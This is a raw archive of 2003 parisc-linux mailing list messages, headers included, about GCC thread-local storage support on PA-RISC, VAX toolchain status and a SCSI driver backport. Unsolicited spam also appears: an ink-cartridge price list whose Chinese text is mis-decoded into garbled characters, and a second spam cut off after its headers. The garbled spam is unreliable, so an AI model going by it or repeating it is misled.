NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622990 2198 80.91.229.3 (22 Nov 2014 02:23:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:10 +0000 (UTC)
Cc: randolph@tausq.org, carlos@baldric.uwo.ca,
	parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 13:58:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id E21D24840
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 13:58:48 -0700 (MST)
Original-Received: from [62.235.121.4] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AO1Jd-0007cM-DR; Sun, 23 Nov 2003 21:58:45 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <200311231953.hANJr4Kj028577@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20190

I trust you; i don't want even check :(.
But somewhere there would have no fun if all was sinply portable ;)

Thanks,
	Joel

John David Anglin wrote:
>>Sorry to not being of more help (not enough knowledge to start more 
>>hacking about support __thread) :(
> 
> 
> This is complicated, and requires an in-depth understanding of GCC
> and binutils.
> 
> Dave



From - Thu Nov 08 21:30:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tool chain pb
Date: Sun, 23 Nov 2003 22:36:58 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20031123213657.GT1037@lug-owl.de>
References: <3FC0FFA7.1090605@tiscali.be> <200311231953.hANJr4Kj028577@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="4AhSc/rXZRY65wXU"
X-Trace: ger.gmane.org 1416622990 2203 80.91.229.3 (22 Nov 2014 02:23:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:10 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 14:36:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id B12CF4840
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 14:36:59 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 244F64B475; Sun, 23 Nov 2003 22:36:58 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <200311231953.hANJr4Kj028577@hiauly1.hia.nrc.ca>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20191

--4AhSc/rXZRY65wXU
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, 2003-11-23 14:53:03 -0500, John David Anglin <dave@hiauly1.hia.nrc.=
ca>
wrote in message <200311231953.hANJr4Kj028577@hiauly1.hia.nrc.ca>:
> > Sorry to not being of more help (not enough knowledge to start more=20
> > hacking about support __thread) :(
>=20
> This is complicated, and requires an in-depth understanding of GCC
> and binutils.

I thrust you - bad for me; I'm currently looking at vax-linux, where we
use an quite dated compiler...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--4AhSc/rXZRY65wXU
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQE/wSh5Hb1edYOZ4bsRAg14AJ9fApJHbTBYLoZy3Tqu9CLg5LoM3wCgjRiI
BlxODBw7aeWnSB0J6mj3mbY=
=lwkL
-----END PGP SIGNATURE-----

--4AhSc/rXZRY65wXU--


From - Thu Nov 08 21:30:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tool chain pb
Date: Sun, 23 Nov 2003 16:45:50 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200311232145.hANLjo4i028914@hiauly1.hia.nrc.ca>
References: <20031123213657.GT1037@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622990 2204 80.91.229.3 (22 Nov 2014 02:23:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: jbglaw@lug-owl.de (Jan-Benedict Glaw)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 14:45:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 149E24840
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 14:45:56 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id hANLjo2v028915;
	Sun, 23 Nov 2003 16:45:51 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hANLjo4i028914;
	Sun, 23 Nov 2003 16:45:50 -0500 (EST)
In-Reply-To: <20031123213657.GT1037@lug-owl.de> from "Jan-Benedict Glaw" at Nov 23, 2003 10:36:58 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20192

> > This is complicated, and requires an in-depth understanding of GCC
> > and binutils.
> 
> I thrust you - bad for me; I'm currently looking at vax-linux, where we
> use an quite dated compiler...

There is one outstanding PR for the vax which causes labels to be deleted
after a case insn.  If this gets fixed, you probably should be able to
switch to GCC 3.4.  I know C builds at -O1.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tool chain pb
Date: Sun, 23 Nov 2003 16:49:41 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200311232149.hANLnfGf028937@hiauly1.hia.nrc.ca>
References: <3FC11F88.5040409@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622991 2208 80.91.229.3 (22 Nov 2014 02:23:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:11 +0000 (UTC)
Cc: randolph@tausq.org, carlos@baldric.uwo.ca,
	parisc-linux@parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 14:49:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D05E4840
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 14:49:43 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id hANLng2v028938;
	Sun, 23 Nov 2003 16:49:42 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hANLnfGf028937;
	Sun, 23 Nov 2003 16:49:41 -0500 (EST)
In-Reply-To: <3FC11F88.5040409@tiscali.be> from "Joel Soete" at Nov 23, 2003 08:58:48 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20193

> I trust you; i don't want even check :(.
> But somewhere there would have no fun if all was sinply portable ;)

It's not portable because the insn sequences for calls vary from
one machine to another.  On the PA, there are several sequences
for calls on the PA.

Probably, after the libffi port is completed and java is working,
we will try to implement the TLS support.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sym-2.1.18i backport?
Date: Sun, 23 Nov 2003 21:54:34 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <3FC12C9A.9050903@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622991 2214 80.91.229.3 (22 Nov 2014 02:23:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:11 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 14:54:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9C934840
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 14:54:31 -0700 (MST)
Original-Received: from [62.235.121.4] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AO2Ba-0001bP-PH; Sun, 23 Nov 2003 22:54:30 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20194

Hi Matthew and all,

Did you foreseen to backport your great patch (sym-2.1.18i) to 2.4?
(well some part wouldn't have to be applied (as __init change) but many
stuff would be interesting?)

Is there some interest? faisible?

Thanks for info,
	Joel




From - Thu Nov 08 21:30:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tool chain pb
Date: Sun, 23 Nov 2003 22:03:17 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <3FC12EA5.8040809@tiscali.be>
References: <200311232149.hANLnfGf028937@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622991 2216 80.91.229.3 (22 Nov 2014 02:23:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:11 +0000 (UTC)
Cc: randolph@tausq.org, carlos@baldric.uwo.ca,
	parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 15:03:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72D4D4840
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 15:03:18 -0700 (MST)
Original-Received: from [62.235.121.4] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AO2K2-0001wM-TH; Sun, 23 Nov 2003 23:03:15 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <200311232149.hANLnfGf028937@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20195


John David Anglin wrote:
>>I trust you; i don't want even check :(.
>>But somewhere there would have no fun if all was sinply portable ;)
> 
> 
> It's not portable because the insn sequences for calls vary from
> one machine to another.  On the PA, there are several sequences
> for calls on the PA.
> 
> Probably, after the libffi port is completed and java is working,
> we will try to implement the TLS support.
> 
Dave,

Just to have an overview, is there another risc platform (sparc, ia64, 
...) on which it is already implemented?

Thanks,
	Joel



From - Thu Nov 08 21:30:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tool chain pb
Date: Sun, 23 Nov 2003 17:26:53 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200311232226.hANMQr2p029128@hiauly1.hia.nrc.ca>
References: <3FC12EA5.8040809@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622992 2221 80.91.229.3 (22 Nov 2014 02:23:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:12 +0000 (UTC)
Cc: randolph@tausq.org, carlos@baldric.uwo.ca,
	parisc-linux@parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 15:26:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39ED14840
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 15:26:55 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id hANMQs2v029130;
	Sun, 23 Nov 2003 17:26:54 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hANMQr2p029128;
	Sun, 23 Nov 2003 17:26:53 -0500 (EST)
In-Reply-To: <3FC12EA5.8040809@tiscali.be> from "Joel Soete" at Nov 23, 2003 10:03:17 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20196

> Just to have an overview, is there another risc platform (sparc, ia64, 
> ...) on which it is already implemented?

Yes, I believe that it is implemented on sparc and ia64.  For further
info, consult

- Prelink on HPPA, requiring some binutils/glibc changes
        = http://freshmeat.net/projects/prelink/?topic_id=253
- NTPL on HPPA, requiring gcc/binutils/glibc changes
	= http://people.redhat.com/drepper/nptl-design.pdf
	= http://people.redhat.com/drepper/tls.pdf

There was some discussion of this on the list back in January.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kkmail@mail.com" <kkmail@mail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?tefE1LrEssS9tbXNs8mxvr3ivva3vbC4o6E=?=
Date: Mon, 24 Nov 2003 07:42:55 +0800
Lines: 35
Approved: news@gmane.org
Message-ID: <20031123234751.5DDC84840@dsl2.external.hp.com>
Reply-To: kkmail@mail.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622992 2224 80.91.229.3 (22 Nov 2014 02:23:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:12 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 16:47:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.com (unknown [218.20.54.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DDC84840
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 16:47:51 -0700 (MST)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20197

װѣĹǷԾӴϢڵĹ˾Ƿо޴ĺĲЩߵĲƸҪԵķõʵֵּɣ
ǵԺĲĹӦ̣ȳΪѣΪ˸õлĸ𵽻ЧǹӦעһԭװīСġ
Ʒ  	ͺ	г	עīӦ	Ʒ	ͺ	г	ӷۼ۸
   ī	51645A	199	90	   	3906F	435	120
   ī	C1823D	229	100	   	4092A	435	120
   ī	51640A	198	90	   	C7115	446	120
   ī	C6578D	235	100	   	C4129X	1125	380
   ī	BC-01		60	   	C4127A	780	180
   ī	BC-02	130	60	   	C4096A	729	120
   ī	BC-03	132	60	   	92274A	700	180
   ī	BC-05	155	70	   	C3909A	1300	480
   ī	BC-06	130	70	   	C3903F	560	150
   ī	BC-20	175	80	   	C4127X	920	380
   ī	BX-2	133	60	   	92298A	710	150
   ī	BX-3	160	60	   	C3900A	1130	380
   ī	12A1140	215	100	   	4182X	1410	480
   ī	12A1145	182	80	   	C4195A	630	120
   ī	17C0050	198	80	   	LJ2100P	159	50
   ī	17C0060	213	100	   	LJ6P	285	80
   ī	1970	208	100	   	2312P	330	120
   ī	1980	263	100	   	LJ6C	238	120
   ī	217	138	60	 	S051055	640	280
   ī	227	152	60	 	EPL5900	655	280
   ī	6001B	158	60	 	EPL-5900	449	148
   ī	6002C	180	800	   	SF-4500	420	180
   	N1210	450	180	   	SF-5100	530	180
īӡȫƷƣաܡˣīмעīˮӡļӷۣ
͵רעīעȫ˷ֹעгֶߡͷ©īɫڶ׶ˣ
ֹ޷עĴͷīͬɽ"ī"ٶȿ죬ƽ18עһֻ
ýԭװīˮԭװīдӡЧԭװīпɷע7-10Σī1-2Σ۸Ϊԭװīе1/4
īɫԸһΪһ΢

ϵ绰013119532093   



From - Thu Nov 08 21:30:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Virgie Crabtree" <275oqo@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Our thank you for trying enclosed
Date: Sun, 23 Nov 03 17:24:56 GMT
Lines: 164
Approved: news@gmane.org
Message-ID: <ep$s-cx879$2-0qyg28r5--53n4@w6377q7d>
Reply-To: "Virgie Crabtree" <275oqo@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="7B_F862F6AD_1AEBAA_83E5"
X-Trace: ger.gmane.org 1416622992 2229 80.91.229.3 (22 Nov 2014 02:23:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:12 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 17:32:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8273A4840
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 17:32:44 -0700 (MST)
Original-Received: from WLL-33-pppoe086.t-net.net.ve (WLL-33-pppoe086.t-net.net.ve [200.31.147.86])
	by cuprel1.hp.com (Postfix) with SMTP id 593727BD
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 16:32:17 -0800 (PST)
Original-Received: from [187.64.155.37] by WLL-33-pppoe086.t-net.net.ve with ESMTP id 2D34AB580EE for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 17:24:56 -0700
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
